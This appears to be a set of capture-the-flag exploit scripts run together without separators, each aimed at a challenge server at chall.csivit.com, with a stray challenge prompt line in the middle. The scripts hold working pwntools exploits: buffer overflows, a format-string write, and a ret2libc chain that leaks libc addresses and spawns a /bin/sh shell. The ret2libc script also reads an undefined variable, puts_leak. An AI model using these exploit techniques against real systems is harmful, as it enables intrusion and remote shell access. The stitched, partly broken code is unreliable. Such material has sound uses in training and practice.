from pwn import *
elf = ELF('./vuln')
p = remote('chall.csivit.com', 30013)
payload = b'A' * 40
payload += p64(elf.symbols['flag'])
p.clean()
p.sendline(payload)
print(p.clean(2).decode())from pwn import *
p = remote('chall.csivit.com', 30007)
payload = b'A' * 44
payload += p32(0xcafebabe)
p.sendline(payload)
print(p.clean().decode())from pwn import *
elf = ELF('./vuln')
p = remote("chall.csivit.com", 30023)
admin = elf.symbols['admin']
value = 0xb4dbabe3 # this is the needed admin value
payload = fmtstr_payload(12, {admin : value})
p.sendline(payload)
print(p.clean().decode())




from pwn import *
elf = context.binary = ELF('./hello')
# Adapt for remote
if args.REMOTE:
libc = ELF('./libc-remote.so')
p = remote('chall.csivit.com', 30046)
else:
libc = elf.libc
p = elf.process()
# ret2plt
p.clean(1)
payload = flat(
b'A' * 136,
elf.plt['puts'],
elf.symbols['main'], # 32-bit - return address comes directly after the function call
elf.got['puts'] # Parameter comes after the return address
)
p.sendline(payload)
p.recvline() # This is the 'Hello, <>!' string - we don't need this
puts_libc = u32(p.recv(4)) # The puts call. We only need the first 4 bytes (the GOT entry of puts)
log.success(f'Puts@LIBC: {hex(puts_libc)}')
libc.address = puts_leak - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')
p.clean(1)
# Final ret2libc
payload = flat(
b'A' * 136,
libc.symbols['system'],
libc.symbols['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()Wanna enter the Secret Society? Well you have to find the secret code first!












from pwn import *
p = remote('chall.csivit.com', 30001)
p.sendline('A' * 200)
print(p.clean().decode())